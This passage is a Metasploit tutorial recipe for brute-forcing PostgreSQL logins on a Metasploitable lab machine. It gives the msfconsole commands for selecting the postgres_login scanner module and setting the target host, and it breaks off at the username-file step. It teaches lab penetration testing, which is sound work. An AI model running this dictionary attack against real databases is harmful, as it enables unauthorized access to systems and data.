Metasploitable PostgreSQL

In this recipe, we will explore how to use Metasploit to attack a PostgreSQL database server using the PostgreSQL Scanner module. PostgreSQL is touted as being the world's most advanced open source database and by many enthusiasts is said to be an enterprise class database. We will use Metasploit in order to brute force a PostgreSQL login.

Getting ready

The following requirement needs to be fulfilled:

• A connection to the internal network

• Metasploitable running in our hacking lab

• Wordlist to perform dictionary attack

How to do it...

Let's begin our PostgreSQL attack by opening a terminal window:

1. Open the command prompt.

2. Launch the MSFCONSOLE:

   msfconsole
   

3. Search for all the available PostgreSQL modules:

   search postgresql
   

   

4. Use the PostgreSQL Scanner module:

   use auxiliary/scanner/postgres/postgres_login
   

   

5. Show the available options of the module:

   show options
   

6. Set RHOST to the host of your Metasploitable 2 machine or target:

   set RHOST 192.168.10.111
   

7. Set your username file location...